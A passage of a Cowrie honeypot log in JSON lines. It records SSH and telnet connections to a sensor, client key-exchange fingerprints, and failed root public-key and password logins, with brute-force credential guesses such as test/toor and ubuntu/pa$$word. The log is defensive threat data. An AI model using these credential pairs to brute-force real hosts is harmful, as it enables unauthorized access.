-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:02.741930Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"a2:7e:68:c8:2f:07:60:2f:bd:eb:02:fe:37:7d:95:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDx0xRGg/3w5CLtA4r4U3nttBBd6e1W9UToz5KmLlPGFgQahVj525ohi0EYPBkpPRR0LSYg1wdTy/Rvf92dEpkfYncqSwUO3WiayvAKqJ17I09g9YU7sVsi/iy+jVa53Evv2aaMZtGcrPJdWpGhBrNEsstBysCVc/YE1DvEhetrK57Q2Svppbk6Bsors2hkskT8gxab606LBP02bkP/ovHIORFG4HeEl21BStI77vRxFEz5KG9Y/a7Jeg9WO7qor6eB9xJBi6ExXMaY/I55etKK5nF/PDIssZgHQKEiJyIGa6URKNd+wWqjmeYJV+QwR3pLwiFBaCtqP4F0+wwggYd9","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint a2:7e:68:c8:2f:07:60:2f:bd:eb:02:fe:37:7d:95:4a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.301551Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a2:7e:68:c8:2f:07:60:2f:bd:eb:02:fe:37:7d:95:4a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDx0xRGg/3w5CLtA4r4U3nttBBd6e1W9UToz5KmLlPGFgQahVj525ohi0EYPBkpPRR0LSYg1wdTy/Rvf92dEpkfYncqSwUO3WiayvAKqJ17I09g9YU7sVsi/iy+jVa53Evv2aaMZtGcrPJdWpGhBrNEsstBysCVc/YE1DvEhetrK57Q2Svppbk6Bsors2hkskT8gxab606LBP02bkP/ovHIORFG4HeEl21BStI77vRxFEz5KG9Y/a7Jeg9WO7qor6eB9xJBi6ExXMaY/I55etKK5nF/PDIssZgHQKEiJyIGa6URKNd+wWqjmeYJV+QwR3pLwiFBaCtqP4F0+wwggYd9","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.305592Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:d3:1f:c8:db:89:b3:d5:13:88:c3:61:19:05:1f:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1PRS27cyy2yrRK17HhUKijpD/XMGmacdguX/XPQ4w4LbeKihRlS1hvUCGNk6gW8sY8jqaq6YIKhqWPr6532ZXaOaZSh7KruRPSIIwL2eef7NrR6ko9BspQ70gGviSpPOGmJSOaMjkDGzz3qxgOjYfOo2zq6nfUtJ5WKksDLGA7XZMrTroMhJr5SjNv2BjfKtU+lWQSdQ1RaixQSNJKPUyj/IrRn8ZPBN5cZZ9DgpjUmVkKOAaWy0+qW69EDWggS/h4iYHZY+W/U150g0GdZReNI1TwuTuwp/r7bxF3i1M0d9xEcSBbm/xHxskIhydKyFDd3Za0wpbBBkm0lmZVjLqQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:d3:1f:c8:db:89:b3:d5:13:88:c3:61:19:05:1f:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.423087Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:d3:1f:c8:db:89:b3:d5:13:88:c3:61:19:05:1f:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1PRS27cyy2yrRK17HhUKijpD/XMGmacdguX/XPQ4w4LbeKihRlS1hvUCGNk6gW8sY8jqaq6YIKhqWPr6532ZXaOaZSh7KruRPSIIwL2eef7NrR6ko9BspQ70gGviSpPOGmJSOaMjkDGzz3qxgOjYfOo2zq6nfUtJ5WKksDLGA7XZMrTroMhJr5SjNv2BjfKtU+lWQSdQ1RaixQSNJKPUyj/IrRn8ZPBN5cZZ9DgpjUmVkKOAaWy0+qW69EDWggS/h4iYHZY+W/U150g0GdZReNI1TwuTuwp/r7bxF3i1M0d9xEcSBbm/xHxskIhydKyFDd3Za0wpbBBkm0lmZVjLqQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.426931Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9a:c3:df:a0:23:96:66:76:cf:4d:c9:d7:09:6b:19:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuL0YHCBsbupK6d5nnPeOw6XhlLIs2lMhKdVzdKpuJ9l6sdG55+ZhLydkLDLG+sgrbhItFKQZhVhd0w7Bv3e9o/YMv05bag/uPbhgLljtaM1RITwX7ytD/QlY8D8pX9IfPw5/uatN97hdz2Ir1kMIALIE0s7Rm9ozwo2DisiuAMRGA6Qs2JOJzHIlO0N+QOgYBqOMCB7d1RXSxG/MxV1Uwm8lJpparP6QPhl69kDFSRJVp89eSqTA1lRaZuBgqWqY9bBlfY6eL1A/532Q5l11ekYWOTt1ThTqcy2pEHx8GHxCG01cJvNfQLveGeMJoBK7v2GNyTKk+F0MLwluUBej0w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9a:c3:df:a0:23:96:66:76:cf:4d:c9:d7:09:6b:19:67","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.547449Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9a:c3:df:a0:23:96:66:76:cf:4d:c9:d7:09:6b:19:67","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAuL0YHCBsbupK6d5nnPeOw6XhlLIs2lMhKdVzdKpuJ9l6sdG55+ZhLydkLDLG+sgrbhItFKQZhVhd0w7Bv3e9o/YMv05bag/uPbhgLljtaM1RITwX7ytD/QlY8D8pX9IfPw5/uatN97hdz2Ir1kMIALIE0s7Rm9ozwo2DisiuAMRGA6Qs2JOJzHIlO0N+QOgYBqOMCB7d1RXSxG/MxV1Uwm8lJpparP6QPhl69kDFSRJVp89eSqTA1lRaZuBgqWqY9bBlfY6eL1A/532Q5l11ekYWOTt1ThTqcy2pEHx8GHxCG01cJvNfQLveGeMJoBK7v2GNyTKk+F0MLwluUBej0w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.551627Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:3a:5c:4b:36:89:90:84:e1:86:e0:e1:86:1d:61:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC13aZYtoHXXZGv63SjQGgtHOXluU2w3zg86HCJkHi9MJz0gY8yDTf/pSECxf5Gjryniw0orIdfVx/KlSJqSxDAnGvqBea9bCzg7VXA0s/1qwxXW8/7UMTX4M7K+KUEmL90+3UCcust+jVp6dkl4sdovJ/GYETk7psPRQQPG/EXV72zfFs0IHsnsG8JhYVAZCp3Iu+Xt9YdjguKv9n5F5IR3ac/lp7kRO90vkaIukpr8Cai+zg+4nHR6MGCLjaLds7/nftJcssA9ubwXANZ4Fo13dsyIgg0GbmmVbWC1+ov1+Og7VHujvaW9V8FMChnw9zxoXWRlM4bhHx7Xr0czy2J","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:3a:5c:4b:36:89:90:84:e1:86:e0:e1:86:1d:61:c7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.669615Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:3a:5c:4b:36:89:90:84:e1:86:e0:e1:86:1d:61:c7","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC13aZYtoHXXZGv63SjQGgtHOXluU2w3zg86HCJkHi9MJz0gY8yDTf/pSECxf5Gjryniw0orIdfVx/KlSJqSxDAnGvqBea9bCzg7VXA0s/1qwxXW8/7UMTX4M7K+KUEmL90+3UCcust+jVp6dkl4sdovJ/GYETk7psPRQQPG/EXV72zfFs0IHsnsG8JhYVAZCp3Iu+Xt9YdjguKv9n5F5IR3ac/lp7kRO90vkaIukpr8Cai+zg+4nHR6MGCLjaLds7/nftJcssA9ubwXANZ4Fo13dsyIgg0GbmmVbWC1+ov1+Og7VHujvaW9V8FMChnw9zxoXWRlM4bhHx7Xr0czy2J","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.673803Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:3d:c6:9b:c0:5a:6f:7e:7e:b4:a7:e9:4b:46:df:d5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbn1/lzfBf3Z9MSuvvxNmwh9LXd5Z+6I60vXau03iUc","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 29:3d:c6:9b:c0:5a:6f:7e:7e:b4:a7:e9:4b:46:df:d5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.791808Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:3d:c6:9b:c0:5a:6f:7e:7e:b4:a7:e9:4b:46:df:d5","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAbn1/lzfBf3Z9MSuvvxNmwh9LXd5Z+6I60vXau03iUc","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.795733Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:03.912934Z","src_ip":"190.8.175.28","session":"edc830a5db51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":50004,"dst_ip":"159.203.135.109","dst_port":22,"session":"e53fb3e1bb76","protocol":"ssh","message":"New connection: 103.63.108.25:50004 (159.203.135.109:22) [session: e53fb3e1bb76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:17.591119Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:17.595974Z","src_ip":"103.63.108.25","session":"e53fb3e1bb76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:17.876207Z","src_ip":"103.63.108.25","session":"e53fb3e1bb76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"toor","message":"login attempt [test/toor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:19.021155Z","src_ip":"103.63.108.25","session":"e53fb3e1bb76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:20.315826Z","src_ip":"103.63.108.25","session":"e53fb3e1bb76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.109.252.66","src_port":59130,"dst_ip":"159.203.135.109","dst_port":23,"session":"283fea9c3ab1","protocol":"telnet","message":"New connection: 149.109.252.66:59130 (159.203.135.109:23) [session: 283fea9c3ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:42.219723Z"}
{"eventid":"cowrie.session.closed","duration":12.431522130966187,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:17:54.651107Z","src_ip":"149.109.252.66","session":"283fea9c3ab1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":38892,"dst_ip":"159.203.135.109","dst_port":22,"session":"38a3ad2cd53a","protocol":"ssh","message":"New connection: 103.63.108.25:38892 (159.203.135.109:22) [session: 38a3ad2cd53a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:18:18.125323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:18:18.130628Z","src_ip":"103.63.108.25","session":"38a3ad2cd53a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:18:18.405345Z","src_ip":"103.63.108.25","session":"38a3ad2cd53a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tester","password":"testing123","message":"login attempt [tester/testing123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:18:19.529532Z","src_ip":"103.63.108.25","session":"38a3ad2cd53a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:18:20.806398Z","src_ip":"103.63.108.25","session":"38a3ad2cd53a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":33808,"dst_ip":"159.203.135.109","dst_port":22,"session":"8529369b2b82","protocol":"ssh","message":"New connection: 103.63.108.25:33808 (159.203.135.109:22) [session: 8529369b2b82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:19:15.692621Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:19:15.698082Z","src_ip":"103.63.108.25","session":"8529369b2b82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:19:15.976484Z","src_ip":"103.63.108.25","session":"8529369b2b82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwe@1234","message":"login attempt [ubuntu/qwe@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:19:17.106812Z","src_ip":"103.63.108.25","session":"8529369b2b82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:19:18.392672Z","src_ip":"103.63.108.25","session":"8529369b2b82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":56106,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bc4d2a359c8","protocol":"ssh","message":"New connection: 103.63.108.25:56106 (159.203.135.109:22) [session: 0bc4d2a359c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:20:15.044021Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:20:15.053273Z","src_ip":"103.63.108.25","session":"0bc4d2a359c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:20:15.332109Z","src_ip":"103.63.108.25","session":"0bc4d2a359c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"pa$$word","message":"login attempt [ubuntu/pa$$word] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:20:16.464753Z","src_ip":"103.63.108.25","session":"0bc4d2a359c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:20:17.742828Z","src_ip":"103.63.108.25","session":"0bc4d2a359c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.63.108.25","src_port":53204,"dst_ip":"159.203.135.109","dst_port":22,"session":"39f86a7726f4","protocol":"ssh","message":"New connection: 103.63.108.25:53204 (159.203.135.109:22) [session: 39f86a7726f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:21:13.919215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T02:21:13.931330Z","src_ip":"103.63.108.25","session":"39f86a7726f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-s